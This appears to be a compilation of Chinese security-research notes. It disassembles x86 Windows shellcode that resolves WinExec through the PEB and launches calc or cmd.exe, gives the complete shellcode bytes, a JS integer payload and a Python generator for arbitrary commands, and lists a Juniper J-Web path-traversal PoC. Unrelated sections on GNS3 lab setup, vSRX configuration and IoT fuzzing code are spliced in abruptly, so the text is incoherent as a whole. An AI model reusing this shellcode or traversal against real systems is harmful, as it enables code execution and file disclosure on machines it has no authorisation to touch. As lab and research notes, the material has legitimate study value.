Typedef struct _IMAGE_EXPORT_DIRECTORY{    Characteristics; 4    TimeDateStamp 4    MajorVersion 2　　MinorVersion 2　　Name 4 模块名字　　Base 4 基数，加上序数就是函数地址数组的索引值　　NumberOfFunctions 4    NumberOfNames 4    AddressOfFunctions 4 指向函数地址数组　　AddressOfNames 4 函数名字的指针地址　　AddressOfNameOrdinal 4 指向输出序列号数组}

在(kernel32 基址 +export+0x1c +offset)处获取 AddressOfFunctions、AddressOfNames、AddressOfNameOrdinalse。

(kernel32 基址 +export+0x1C) AddressOfFunctions

(kernel32 基址 +export+0x20) AddressOfNames

(kernel32 基址 +export+0x24) AddressOfNameOrdinal

10. 0x741f2001

Array Literal:{ 0x8B, 0x74, 0x1F, 0x20, 0x01 }Disassembly:0:  8b 74 1f 20             mov    esi,DWORD PTR [edi+ebx*1+0x20]4:  01                      .byte 0x1

esi 指向 AddressOfNames ，主要存储函数名称指针地址偏移

11. 0xfe8b541f

两次汇编 第一次补齐上轮 +1 字节

Array Literal:{ 0x01, 0xFE }Disassembly:0:  01 fe                   add    esi,edi

计算出 函数名地址，edi 为 kernel32 基地址 + 刚刚获取的 AddressOfName 的偏移地址 = AddressOfName 所在地址

第二次 补齐下轮 1 字节

Array Literal:{ 0x8B, 0x54, 0x1F, 0x24 }Disassembly:0:  8b 54 1f 24             mov    edx,DWORD PTR [edi+ebx*1+0x24]

EDX 内容存储了(kernel32 基址 +export+0x24) AddressOfNameOrdinal 结构的偏移地址，该结构用于存放函数的序号，构成一个函数序号数组

12. 循环部分统一反汇编

这里要注意 jne 跳转到 0 地址 这个是相对地址，当在内存中时，指向 movzx ebp,WORD PTR [edi+edx*1] 指令所在地址

0:  0f b7 2c 17             movzx  ebp,WORD PTR [edi+edx*1]4:  42                      inc    edx5:  42                      inc    edx6:  ad                      lods   eax,DWORD PTR ds:[esi]7:  81 3c 07 57 69 6e 45    cmp    DWORD PTR [edi+eax*1],0x456e6957e:  75 f0                   jne    0x0

ebp = edi+edx = kernel32 基地址 +AddressOfNameOrdinal 地址偏移 = AddressOfNameOrdinal 结构真实地址

更新 edx，注意此时 edx 存的 AddressOfNameOrdinal 数组[0]位置的偏移地址，inc edx 后会将数组移动到下一位

将 edx 指向 AddressOfNameOrdinal 数组[1] 位置的偏移地址。

LODSD 指令从 ESI 指向的内存地址加载一个字到 EAX，得到一个新的 EAX 偏移

此时 ESI 存储为(kernel32 基址 +export+0x20) AddressOfNames 数组[0]指针的真实地址，所以通过 lodsd 指令可以获取 AddressOfNames 数组[0]处内容并放在 EAX，此时 EAX 为 函数名称数组[0]-> 函数名称偏移地址

通过计算 edi +eax = kernel32 基地址 + 函数名称偏移地址 = 真实函数名称地址，取该地址内容 也就是函数名称 与 WinE 比较，如果不相等则进行循环重新得到一个新的 ebp（AddressOfNameOrdinal[1] 对应序号的真实地址），接着再次将 edx+2 后得到 AddressOfNames[1] 的函数名称地址的指针地址偏移，最后再次计算函数名称地址的真实地址，再次与 WinE 比较 循环。

最终找到 WinExec 时结束循环，此时 EAX 偏移地址为 WinExec 函数名称的地址偏移，EBP 为该函数的序号地址。

13. 最终段 反汇编

Array Literal:{ 0x8B, 0x74, 0x1F, 0x1C, 0x01, 0xFE, 0x03, 0x3C, 0xAE, 0xFF, 0xD7 }Disassembly:0:  8b 74 1f 1c             mov    esi,DWORD PTR [edi+ebx*1+0x1c]4:  01 fe                   add    esi,edi6:  03 3c ae                add    edi,DWORD PTR [esi+ebp*4]9:  ff d7                   call   edi

ESI = (kernel32 基址 +export 真实地址 +0x1C) AddressOfFunctions [0]的偏移地址

Add esi,edi 计算出 AddressOfFunctions [0]的真实地址

此时 EBP 为 WinExec 函数的 序号地址，ESI 为 AddressOfFunctions 偏移地址

esi+ebp*4 得到 WinExec 函数的偏移地址

add edi,DWORD PTR [esi+ebp*4] 相加得到 WinExec 函数的真实地址

在执行这段 shellcode 的同时没有再对栈空间做任何操作，栈空间包含两个参数，参数 1.calc 所在地址 2.0

最终 call edi 触发 kernel32.WinExec("calc”，0)

通过查询可知，WinExec 刚好有两个参数，参数一：命令 ，参数二：内容显示

UINT WinExec(  [in] LPCSTR lpCmdLine,  [in] UINT   uCmdShow);

经过上述验证，可以清晰的明白 shellcode 结构以及作用

1. 保存栈帧
2. 将命令字符串压栈
3. 通过出栈压栈操作将字符串地址放入栈顶，同时压栈前压入参数二：0
4. 获取 kernel32.dll 基地址
5. 循环偏移，获取 WinExec 函数地址
6. 调用 kernel32.WinExec("calc”，0)

构造 exp

由于上方分析都是分段进行，不方便接下来的修改 shellcode 操作，还需要简单处理一下得到完整的 shellcode

shellcode = [835867240, 1667329123, 1415139921, 1686860336, 2339769483, 1980542347, 814448152, 2338274443,    1545566347, 1948196865, 4270543903, 605009708, 390218413, 2168194903, 1768834421, 4035671071,    469892611, 1018101719, 2425393296]bytes = "0x"for shell_bytes in shellcode:    cur_bytes= hex(shell_bytes)[2:]    bytes+=cur_bytesprint(bytes)

得到 real shellcode

0x31d2526863616c6354595251648b72308b760c8b760cad8b308b7e188b5f3c8b5c1f788b741f2001fe8b541f240fb72c174242ad813c0757696e4575f08b741f1c01fe033caeffd790909090

反编译完整内容

Array Literal:{ 0x31, 0xD2, 0x52, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x52, 0x51, 0x64, 0x8B, 0x72, 0x30, 0x8B, 0x76, 0x0C, 0x8B, 0x76, 0x0C, 0xAD, 0x8B, 0x30, 0x8B, 0x7E, 0x18, 0x8B, 0x5F, 0x3C, 0x8B, 0x5C, 0x1F, 0x78, 0x8B, 0x74, 0x1F, 0x20, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x42, 0x42, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xF0, 0x8B, 0x74, 0x1F, 0x1C, 0x01, 0xFE, 0x03, 0x3C, 0xAE, 0xFF, 0xD7, 0x90, 0x90, 0x90, 0x90 }Disassembly:0:  31 d2                   xor    edx,edx2:  52                      push   edx3:  68 63 61 6c 63          push   0x636c61638:  54                      push   esp #获取存储calc的地址esp压栈9:  59                      pop    ecx# 存储calc的地址存入ecxa:  52                      push   edxb:  51                      push   ecxc:  64 8b 72 30             mov    esi,DWORD PTR fs:[edx+0x30]10: 8b 76 0c                mov    esi,DWORD PTR [esi+0xc]13: 8b 76 0c                mov    esi,DWORD PTR [esi+0xc]16: ad                      lods   eax,DWORD PTR ds:[esi]17: 8b 30                   mov    esi,DWORD PTR [eax]19: 8b 7e 18                mov    edi,DWORD PTR [esi+0x18]1c: 8b 5f 3c                mov    ebx,DWORD PTR [edi+0x3c]1f: 8b 5c 1f 78             mov    ebx,DWORD PTR [edi+ebx*1+0x78]23: 8b 74 1f 20             mov    esi,DWORD PTR [edi+ebx*1+0x20]27: 01 fe                   add    esi,edi29: 8b 54 1f 24             mov    edx,DWORD PTR [edi+ebx*1+0x24]2d: 0f b7 2c 17             movzx  ebp,WORD PTR [edi+edx*1]31: 42                      inc    edx32: 42                      inc    edx33: ad                      lods   eax,DWORD PTR ds:[esi]34: 81 3c 07 57 69 6e 45    cmp    DWORD PTR [edi+eax*1],0x456e6957 #WinE3b: 75 f0                   jne    0x2d3d: 8b 74 1f 1c             mov    esi,DWORD PTR [edi+ebx*1+0x1c]41: 01 fe                   add    esi,edi43: 03 3c ae                add    edi,DWORD PTR [esi+ebp*4]46: ff d7                   call   edi48: 90                      nop49: 90                      nop4a: 90                      nop4b: 90                      nop

测试改动 shellcode

通过上述分析可以清晰的看到 shellcode 除了命令字符串部分需要改动，其他部分均不需要改动。

替换 calc 为 cmd.exe

push  0x657865push  0x2e646d63

汇编代码

0x0:        xor  edx, edx0x2:        push  edx0x3:        push  0x6578650x8:        push  0x2e646d630xd:        push  esp0xe:        pop  ecx0xf:        push  edx0x10:        push  ecx0x11:        mov  esi, dword ptr fs:[edx + 0x30]0x15:        mov  esi, dword ptr [esi + 0xc]0x18:        mov  esi, dword ptr [esi + 0xc]0x1b:        lodsd  eax, dword ptr [esi]0x1c:        mov  esi, dword ptr [eax]0x1e:        mov  edi, dword ptr [esi + 0x18]0x21:        mov  ebx, dword ptr [edi + 0x3c]0x24:        mov  ebx, dword ptr [edi + ebx + 0x78]0x28:        mov  esi, dword ptr [edi + ebx + 0x20]0x2c:        add  esi, edi0x2e:        mov  edx, dword ptr [edi + ebx + 0x24]0x32:        movzx  ebp, word ptr [edi + edx]0x36:        inc  edx0x37:        inc  edx0x38:        lodsd  eax, dword ptr [esi]0x39:        cmp  dword ptr [edi + eax], 0x456e69570x40:        jne  0x2d0x42:        mov  esi, dword ptr [edi + ebx + 0x1c]0x46:        add  esi, edi0x48:        add  edi, dword ptr [esi + ebp*4]0x4b:        call  edi0x4d:        nop  0x4e:        nop  0x4f:        nop  0x50:        nop

发现 jne 0x2d 的偏移变了，所以还需要改动一下 将 0x2d 改为 0x32 即可

0x0:        xor  edx, edx0x2:        push  edx0x3:        push  0x6578650x8:        push  0x2e646d630xd:        push  esp0xe:        pop  ecx0xf:        push  edx0x10:        push  ecx0x11:        mov  esi, dword ptr fs:[edx + 0x30]0x15:        mov  esi, dword ptr [esi + 0xc]0x18:        mov  esi, dword ptr [esi + 0xc]0x1b:        lodsd  eax, dword ptr [esi]0x1c:        mov  esi, dword ptr [eax]0x1e:        mov  edi, dword ptr [esi + 0x18]0x21:        mov  ebx, dword ptr [edi + 0x3c]0x24:        mov  ebx, dword ptr [edi + ebx + 0x78]0x28:        mov  esi, dword ptr [edi + ebx + 0x20]0x2c:        add  esi, edi0x2e:        mov  edx, dword ptr [edi + ebx + 0x24]0x32:        movzx  ebp, word ptr [edi + edx]0x36:        inc  edx0x37:        inc  edx0x38:        lodsd  eax, dword ptr [esi]0x39:        cmp  dword ptr [edi + eax], 0x456e69570x40:        jne  0x330x42:        mov  esi, dword ptr [edi + ebx + 0x1c]0x46:        add  esi, edi0x48:        add  edi, dword ptr [esi + ebp*4]0x4b:        call  edi0x4d:        nop  0x4e:        nop  0x4f:        nop  0x50:        nop

shellcode 构造脚本

这里给出一个帮助构造 shellcode 的脚本

def cut(obj, sec):    return [obj[i:i + sec] for i in range(0, len(obj), sec)]def shellcode2stack(string):    hex_shell = ""    for byte in string:        a = hex(ord(byte))[2:]        hex_shell += a    hex_list = cut(hex_shell, 8)    hex_list.reverse()    stack = []    for hex_byte in hex_list:        byte_list = cut(hex_byte, 2)        byte_list.reverse()        stack_byte = ''.join(byte_list)        stack.append("push 0x{}".format(stack_byte))    return stackif __name__ == '__main__':    shell = "1.exe"    # shell = "cmd.exe"    stack_list = shellcode2stack(shell)    print("push times: {}".format(len(stack_list)))    print("need pop times: {}".format(len(stack_list) - 1))    print("jne offset: {}".format(hex(0x2d + (len(stack_list) - 1) * 5)))    print()    for stack in stack_list:        print(stack)    print()    print("your shellcode")    print()    print("add esp, {}".format(hex((len(stack_list) - 1) * 4)))

字节码：

31D252686578650068636D642E54595251648B72308B760C8B760CAD8B308B7E188B5F3C8B5C1F788B741F2001FE8B541F240FB72C174242AD813C0757696E4575F08B741F1C01FE033CAEFFD790909090

接着按照 8 比特一组进行切割，生成 js shellcode

发现生成的 list 中多了 1 比特位，所以 sellcode 中还需要删除一个 0x90 的 nop 指令，生成测试 payload

def cut(obj, sec):    return [int(obj[i:i+sec],16) for i in range(0,len(obj),sec)]bytes = "31D252686578650068636D642E54595251648B72308B760C8B760CAD8B308B7E188B5F3C8B5C1F788B741F2001FE8B541F240FB72C174242AD813C0757696E4575F08B741F1C01FE033CAEFFD7589090"bytes_list =cut(bytes,8)print(bytes_list)

835867240, 1702388992, 1751346532, 777279826, 1365543794, 814446092, 2339769517, 2335214462, 411787068, 2338070392, 2339643168, 33459028, 522457015, 739721794, 2910927879, 1466527301, 1978698612, 521929214, 54308607, 3616575632

尝试执行

执行失败。。。 原因也很明显 在执行完命令后需要恢复堆栈，可以看到 原始处理方法是 pop eax 两次，用来清理曾经的参数 1 和参数 2，但是现在由于我们多压栈了一次，导致这里寄存器值的错位，进而导致程序崩溃。解决方法：在添加一个 pop eax 的 shellcode 用于恢复到默认 shellcode 布局。

尝试新 shellcode

0x0:        xor  edx, edx0x2:        push  edx0x3:        push  0x6578650x8:        push  0x2e646d630xd:        push  esp0xe:        pop  ecx0xf:        push  edx0x10:        push  ecx0x11:        mov  esi, dword ptr fs:[edx + 0x30]0x15:        mov  esi, dword ptr [esi + 0xc]0x18:        mov  esi, dword ptr [esi + 0xc]0x1b:        lodsd  eax, dword ptr [esi]0x1c:        mov  esi, dword ptr [eax]0x1e:        mov  edi, dword ptr [esi + 0x18]0x21:        mov  ebx, dword ptr [edi + 0x3c]0x24:        mov  ebx, dword ptr [edi + ebx + 0x78]0x28:        mov  esi, dword ptr [edi + ebx + 0x20]0x2c:        add  esi, edi0x2e:        mov  edx, dword ptr [edi + ebx + 0x24]0x32:        movzx  ebp, word ptr [edi + edx]0x36:        inc  edx0x37:        inc  edx0x38:        lodsd  eax, dword ptr [esi]0x39:        cmp  dword ptr [edi + eax], 0x456e69570x40:        jne  0x320x42:        mov  esi, dword ptr [edi + ebx + 0x1c]0x46:        add  esi, edi0x48:        add  edi, dword ptr [esi + ebp*4]0x4b:        call  edi0x4d:        pop  eax0x4e:        nop  0x4f:        nop

对应 hex

31D252686578650068636D642E54595251648B72308B760C8B760CAD8B308B7E188B5F3C8B5C1F788B741F2001FE8B541F240FB72C174242AD813C0757696E4575F08B741F1C01FE033CAEFFD7589090

对应 js shellcode

835867240, 1702388992, 1751346532, 777279826, 1365543794, 814446092, 2339769517, 2335214462, 411787068, 2338070392, 2339643168, 33459028, 522457015, 739721794, 2910927879, 1466527301, 1978698612, 521929214, 54308607, 3612905616

再次尝试

构造 RCE shellcode

后续添加

遇到问题

1. 调试时如何准确断在 shellcode 内存地址处？
   可以在程序加载运行后，单步走几步，此时跳转到 shellcode 内存处，并下硬件断点，检测执行操作
2. 如果自由转换 asm 到 shellcode，以及 shellcode 到 asm
   在线方式 https://disasm.pro/
   离线方式 pwntools
3. 调试时突然遇见 exec_denied
   待解决。。。

GNS3-vm 配置

gns3-vm 服务默认只支持 x86-x64 系列模拟，并不支持其他架构如：arm、mips 等等。

第一步

修改 gns3-vm 配置

修改方式一

从 vm 中双击 gvm3，选择 configure 选项

手动输入以下命令，并按 ctr+o 进行保存，ctr+x 退出

[Qemu]enable_kvm = True#require_kvm = Trueenable_hardware_acceleration = Truerequire_hardware_acceleration = False

修改方式二

通过 ssh 连入 gvm3 中，进入配置文件目录 ~/.config/GNS3/2.2/

修改 gns3_server.conf ，添加以下代码

[Qemu]; !! Remember to add the gns3 user to the KVM group, otherwise you will not have read / write permissions to /dev/kvm !! (Linux only, has priority over enable_hardware_acceleration)enable_kvm = True; Require KVM to be installed in order to start VMs (Linux only, has priority over require_hardware_acceleration)require_kvm = True; Enable hardware acceleration (all platforms)enable_hardware_acceleration = True; Require hardware acceleration in order to start VMs (all platforms)require_hardware_acceleration = False

保存即可

第二步

由于 gns3-vm 初始没有安装全部的 qemu 环境，故而无法在 gns3 中选择其他的 qemu 环境

sudo apt-get install qemu qemu-user-static qemu-system uml-utilities bridge-utils

也可以指定单独的架构版本，例如

sudo apt-get install qemu-system-mipssudo apt-get install qemu-system-arm

MIPS 环境创建

1. 选择 Qemu VMs 、点击 New 选项、选中 on the GNS3 VM 选项后点击 NEXT

2. 设置名称，点击 next

3. 指定 qemu 为 mipsel，并设置内存大小

4. 选择连接模式为 Telnet（vnc 看情况选定）

5. 设置 mipsel 的 qcow2 文件，需要根据版本指定

低版本设置

高版本设置

6. 点击 edit 修改详细配置信息

7. 确认 qemu 为 mipsel，并勾选 atuo start

8. 修改硬盘格式为 ide

低版本，在 HDA 处修改即可

高版本需要更换位置到 HDB

9. 更改网卡个数（自行选择）、并且勾选 替换选项

10. 最后指定一些 kernel 文件，并在 qemu option 中添加硬盘信息

低版本设置

高版本设置

11. 测试启动，默认账号 root，密码 root

网络通信配置

可以配置外网也可以配置私网，私网配置教程参考 ASA 环境配置，这里主要讲与外网配置通信

1. 选择左侧的 NAT，创建一个 NAT 模拟，选择 server，一般情况会有两个选项 1.本地计算机 2.gns3-vm

2. 连接网络

3. 查看网络情况，已经自动分配 ip 地址，并且可以进行通域通信（同一网段）通讯

相关知识

GNS3 server configuration file

If you want to run the GNS3 server without the GUI, you can configure it with via an ini file.

File Location

We search for the configuration file in multiple locations:

Linux

• $HOME/.config/GNS3/gns3_server.conf
• $HOME/.config/GNS3.conf
• /etc/xdg/GNS3/gns3_server.conf
• /etc/xdg/GNS3.conf
• gns3_server.conf in the current directory

Mac OS X

• $HOME/.config/GNS3/gns3_server.conf
• gns3_server.conf in the current directory

Windows

• %APPDATA%/GNS3/gns3_server.ini
• %APPDATA%/Roaming/GNS3/gns3_server.ini
• %APPDATA%/GNS3.ini
• %COMMON_APPDATA%/GNS3/gns3_server.ini
• %COMMON_APPDATA%/GNS3.ini
• gns3_server.ini in current directory

Qemu mipsel 相关下载

访问 https://people.debian.org/~aurel32/qemu/,下载 MIPSEL 的系统映像,其中启动对应版本

with the following arguments for a 32-bit machine:  - qemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0"  - qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0"Start QEMU with the following arguments for a 64-bit machine:  - qemu-system-mips64el -M malta -kernel vmlinux-2.6.32-5-5kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0"  - qemu-system-mips64el -M malta -kernel vmlinux-3.2.0-4-5kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0"

junos-vsrx3-x86-64-20.3R1.8.ide.ova

漏洞过程

漏洞存在于 html\modules\manage\files\main.php 中

functiondo_manage_files (){    ......        case MANAGE_FILES_BROWSE:            // Browse (Download and Delete) files            $path = get_val_or_null($_GET, 'path');            漏洞存在于这里,这里只验证了path是否存在，未验证路径是否合法            if (do_manage_files_validate_file($path, null)) {                $sections = do_manage_files_browse($path);                break;            } else {                 $sections = do_manage_files_main();             }            break;    }  .....}

利用 poc

https://192.168.1.100/manage?m[]=files&action=browse&path=/var/log/../../etc/

junos 版本：junos-vsrx3-x86-64-20.3R1.8.ide.ova

VMware 版本：17.0.0 build-20800274

Ubuntu 版本：Ubuntu 22.04

初始化配置

cliconfigureload factor-default

账号配置

set system root-authentication plain-text-passwordkaka123set system services ssh root-login allow

网络配置

首先需要确保在同一个网络上

需要联通的虚拟机，可以自行添加一个虚拟网卡，并指定网络为 vmnet1

接着需要查看当前 juniper 虚拟机的网卡信息，注意不是所有的网卡都是 ge-xxxxx 这种

可以看到这里有很多网卡，其中搭建好以后会存在一个 em1 的网卡配置，只要将虚拟机配置在同一网段，就可以通过 192.168.1.2 直接 ssh 连接进来。这里我们再配置一块网卡

1. 确定网卡名称，这里我们就配置 em2
2. 在 cli 中进行配置

// 配置ipset interface em2 unit 0 family inet address 192.168.1.100/24commitcommit // 两次 commit才能永久保存配置，一次commit 2分钟后会回滚到之前的配置

3. 通过 show 命令检查配置是否成功

可以看到成功配置

4. 将该 interface 添加到 J-web 的支持中

set system services web-management https interface em2set system services web-management http interface em2

5. 通过 show 查看是否成功添加

可以看到成功添加

安全区添加

set security zones security-zone untrust interfaces em2set security zones security-zone untrust host-inbound-traffic system-services all

Show 查看是否成功配置

测试访问

测试登录

NAT配置?

与上述方法一直，但是要提前确认好当前NAT网络的网关地址，配置时将网卡设置为NAT，接着手动分配个ip即可

BackGround

现有 Iot-Fuzz

本论文工作

1. 改进种子获取方式，除去抓包获取（被动式），增加了对该协议的 API Doc 或其他定义格式文件的读取
2. 新增协议类型识别，添加网络协议特征（HTTP/ZigBee/等等），识别流量协议。
3. 新增消息类型识别，对消息内容进行类型识别，主要针对常用协议 JSON、XML 等。
4. 新增编码类型识别，对消息内容进行编码识别，通过内置的编码库（Base64，urlencode 等）识别，并将解密内容重新进行 2-4 的匹配。
5. 改进相似性分类算法，增加滤波器（阈值）进行合理的归类

FIOT 架构

消息类型识别算法

总结

FloTFuzzer 则针对整个 fuzz 过程进行了拆分优化，弥补了 Snipuzz 的不足，并添加了对协议类型，编码类型，数据类型做了识别处理，使得变异数据能够保持原有的数据格式，减少了变异时间，同时能够增加代码功能的覆盖率。

实现后的 fuzz-IOSTFuzzer

在 FIOTFuzzer 基础上进行了下述的优化

1. 新增对该协议的 API Doc 或其他定义格式文件的读取
2. 新增协议类实现框架，对特定协议可以更细粒度的处理

待优化

1. 实现 FIOTFuzzer 自动化数据包解析转发功能
2. 改进数据变异算法，提高覆盖率
3. 改进 sender，提高发包速率
4. 改进响应相似性识别方式，考虑使用 NLP 代码相似性识别技术

项目地址：https://github.com/ioo0s/IOSTFuzzer

Iot 通用的通信架构

为了与设备外的输入进行交互，大多数物联网设备实现了类似的高级通信体系结构（如下图）。主要分为以下几个部分

1. Sanitizer

接收外部的输入后对输入进行过滤（安全检查）、匹配（白名单检查）、解析（找出功能命令和执行内容），如果不满足任意一种情况，则会返回带有错误信息的响应结果（跳转到 Replier 处理），否则将匹配到的功能命令送入下一步。

2. Function Switch

将 Sanitizer 中获取到的指令，进行功能(不单指函数)的匹配。如果成功匹配到对应的功能，则将通过 Sanitizer 中获取到的执行内容发送到下一步进行处理，否则返回带有错误信息的响应结果（跳转到 Replier 处理）。

3. Function Definitions

此部分主要是对具体功能的实现，根据 Function Switch 选择调用的功能，对输入进行具体的执行，并将结果返回到响应信息中（跳转到 Replier 处理）

4. Replier

具体实现了一个响应功能，统一处理在整个通信过程中的响应信息转换，最终反馈到输入设备中。

Implement

Response-Based Feedback Mechanism

基于响应的反馈机制，传统的黑盒 Fuzz 测试总是需要对 Binary 进行 Patch 实现反馈，或者像 AFL++ 利用 qemu 实现反馈。传统的黑盒 Fuzz 在对 Iot 设备测试时会遇到无法提取固件或者环境依赖过于庞大（例如像 Lina）使用 qemu 模式进行 Fuzz 的成本太大，Patch 固件更复杂的情况。此时传统的方法就不太适用于 Iot 设备上进行 Fuzz 测试。

Snipuzz 使用响应消息建立新的反馈机制。 Snipuzz 会收集每一个响应，当找到新的响应时，该响应对应的输入将作为种子排队，用于后续的变异测试

Message Snippet Inference

消息片段推断，传统的变异方法（字节翻转、字节添加、字节突变等）不太适用于 IOT 设备的 Fuzz 测试中。在 Iot 设备中，通常有较为严格输入规范，也会采用一些格式进行规范，例如 JSON、SOAP、键值对等，传统的变异方式可能会破坏这些格式规范，导致不能有效的提高路径覆盖率。

根据下表，如果我们逐字节地改变有效消息（即破坏格式），将得到许多不同的响应。 有效消息中两个不同位置的变异，如果收到相同的响应，则这两个位置很可能出自固件中的同一个功能中。 因此，可以将具有相同响应的那些连续字节合并为一个片段。同时也可以在片段中进行变异，这样可以极大的提高变异覆盖率。

Methodology

Message Sequence Acquisition

消息序列的获取，通过设备的 API 文档、或者对设备进行功能性的抓包获得，例如，可以在设备登陆后，开启抓包工具，用户与设备进行交互得到一些功能性的数据包。

Snippet Determination

核心思想

消息片段分类：利用启发式搜索和层次聚类的方式

Snipuzz 利用启发式算法和层次聚类方法来确定每条消息中的片段。消息片段的本质是消息中的连续字节，使固件能够执行特定的代码段。使用自动化的方式来识别消息中每个字节的含义。

使用启发式算法，对每一个 Request 粗略的划分初始片段。通过删除 Request Body 部分（测试中的 content）中的某个字节，生成一个新的消息，称为探测消息。对每个探测消息的响应进行归类，同时将初步划分的某个字节合并为同一种触发类型。

如图中，将相同响应结果的请求 message 划分为一种类型。

如何归类

本文使用了 Edit Dis-tance 编辑距离作为计算方式，计算出两个响应结果间的相似度，通过比较响应池中的每一个响应与当前目标响应的相似度，与曾经放入响应池时的相似度进行比较，分数低于时确定为不同响应则放入新的响应到响应池中，并记录此时的分数，否则进行下一轮比较，以此为归类方式。

其中 rk、rt 为两个响应，max_len 为最大长度计算公式

编辑距离代码

def EditDistanceRecursive(str1, str2):    edit = [[i + j for j in range(len(str2) + 1)] for i in range(len(str1) + 1)]    for i in range(1, len(str1) + 1):        for j in range(1, len(str2) + 1):            if str1[i - 1] == str2[j - 1]:                d = 0            else:                d = 1            edit[i][j] = min(edit[i - 1][j] + 1, edit[i][j - 1] + 1, edit[i - 1][j - 1] + d)    return edit[len(str1)][len(str2)]

相似度计算代码

def SimilarityScore(str1, str2):    ED = EditDistanceRecursive(str1, str2)    return round((1 - (ED / max(len(str1), len(str2)))) * 100, 2)

归类实现代码

response1 = m.ProbeSend(Seed, index)  # send the probe message   #######time.sleep(1)response2 = m.ProbeSend(Seed, index)  # send the probe message twiceprint(response1, end="")if responsePool:    flag = True    for j in range(0, len(responsePool)):        target = responsePool[j]        score = similarityScore[j]        # c = 计算当前请求的响应与响应池中的每一个响应的相似度        c = SimilarityScore(target.strip(), response1.strip())         # 如果相似分数大于之前目标的分数则记录当前的index，并且继续循环        if c >= score:             flag = False            probeResponseIndex.append(j)            print(str(j) + " ", end="")            sys.stdout.flush()            break    # 如果当前相似度得分小于之前目标的分数，则把当前不同的响应结果放入响应池，同时记录分数    if flag:        # 放入响应池        responsePool.append(response1)        # 记录此时的相似度并添加到分数池中        similarityScore.append(            SimilarityScore(response1.strip(), response2.strip())        )        probeResponseIndex.append(j + 1)        # print(j + 1)  # test only

Hierarchical Clustering

层次聚类，当出现当前响应池中响应的相似性分数为 1，当前目标响应与目标响应的相似性分数为 0.99 时，也满足上述的归类标准，会被放入到进程池中。但事实上这两种响是同一类响应，为了解决该问题，本文引入了层次聚类算法来细化消息片段。

层次聚类的核心思想是不断合并最相似的两个簇，直到只剩下一个簇。

层次聚类算法将数据集划分为一层一层的 clusters，后面一层生成的 clusters 基于前面一层的结果

本文采用欧氏距离作为样本间的距离

合并规则：簇间的距离最小时合并

合并停止条件：簇的个数为 1 时,停止合并

聚合聚类算法流程：

输入: n 个样本组成的样本集合及样本之间的距离

输 出 : 对样本集合的层次化聚类

1. 计算 n 个样本中两两之间的欧氏距离
2. 构造 n 个簇，每个簇只包含一个样本
3. 合井簇间距离最小的两个簇，其中最短距离为簇间距离，构建一个新簇
4. 计算新簇与当前各簇的距离。若簇的个数为 1，终止计算，否则回到步骤 3

欧式距离计算公式：

$$0ρ = sqrt( (x1-x2)^2+(y1-y2)^2$$

例如：输入向量[ [“{"”,1],[“o”, 2],[“n”, “3”],[“":true}”, 1] ]，通过 hierarchy.linkage(input_vec, method="average", metric="euclidean") 实现聚类，首先会将 字符 o 与字符 n 进行聚类（因为字符 o 与 n 的距离最近 ），得到了此时的簇为[ [“{"”,1],[“on”, 4],[“":true}”, 1] ],接着继续合并，最终得到一个簇，结果为 [“{"on":true}”, 5]

例图

算法伪代码

Mutation Schemes

突变的核心思想：以消息片段为基本单位，对消息片内部段进行 字节翻转、清空、数据类型及边界替换 、字典替换、消息重复 的操作。

片段变异代码

获取片段代码

# 检测片段边界，以及类型def formSnippets(pi, cluster, index):    snippet = []    for i in range(index):        c1 = int(cluster[i][0]) #当前簇        c2 = int(cluster[i][1]) #当前簇        p = int(cluster[i][3])  #合并后新簇的样本个数        for j in range(len(pi)):            if pi[j] == c1 or pi[j] == c2:                pi[j] = p    i = 0    while i < len(pi) - 1:        j = i        # print("i="+str(i)) # test only        skip = True        while j <= len(pi) and skip:            j = j + 1            # print("j=" + str(j))  # test only            if pi[j] != pi[i]:                snippet.append([i, j - 1])                skip = False            if j == len(pi) - 1:                snippet.append([i, j])                skip = False        i = j    # print(pi)  # test only    # print(snippet)   # test only    return snippet

片段变异完整代码

def SnippetMutate(seed, restoreSeed):    # 初始化一个消息交互类    m = Messenger(restoreSeed)    循环所有的消息    for i in range(len(seed.M)):        # 响应池        pool = seed.PR[i]        # 响应对应表        poolIndex = seed.PI[i]        # 相似度分数表        similarityScores = seed.PS[i]                # 将响应与分数对应        featureList = []        for j in range(len(pool)):            featureList.append(getFeature(pool[j].strip(), similarityScores[j]))                # 初始化一个二维的panda的数据向量        df = pd.DataFrame(featureList)        # 层次聚类，UPGMA算法（非加权组平均）法，欧几里得距离        cluster = hierarchy.linkage(df, method="average", metric="euclidean")        # print("Cluster:")        # print(cluster)        # seed.display()        # 添加到簇列表        seed.ClusterList.append(cluster)        mutatedSnippet = []        for index in range(len(cluster)):            # 根据聚类得到的新簇（包含最终的字符）            snippetsList = formSnippets(poolIndex, cluster, index)            for snippet in snippetsList:                # 判断处理后的字符串是否在突变字符串中                if snippet not in mutatedSnippet:                    mutatedSnippet.append(snippet)                    tempMessage = seed.M[i].raw["Content"]                    # ========  BitFlip ========                    print("--BitFlip")                    message = seed.M[i].raw["Content"]                    asc = ""                    for o in range(snippet[0], snippet[1]):                        # print(255-ord(message[o]))                        asc = asc + (chr(255 - ord(message[o])))                    # message[o] = chr(255-ord(chr(message[o])))                    message = message[: snippet[0]] + asc + message[snippet[1] + 1:]                    seed.M[i].raw["Content"] = message                    responseHandle(seed, m.SnippetMutationSend(seed, i))                    seed.M[i].raw["Content"] = tempMessage                    # ========  Empty ========                    print("--Empty")                    message = seed.M[i].raw["Content"]                    message = message[: snippet[0]] + message[snippet[1] + 1:]                    seed.M[i].raw["Content"] = message                    responseHandle(seed, m.SnippetMutationSend(seed, i))                    seed.M[i].raw["Content"] = tempMessage                    # ========  Repeat ========                    print("--Repeat")                    message = seed.M[i].raw["Content"]                    t = random.randint(2, 5)                    message = (                            message[: snippet[0]]                            + message[snippet[0]: snippet[1]] * t                            + message[snippet[1] + 1:]                    )                    seed.M[i].raw["Content"] = message                    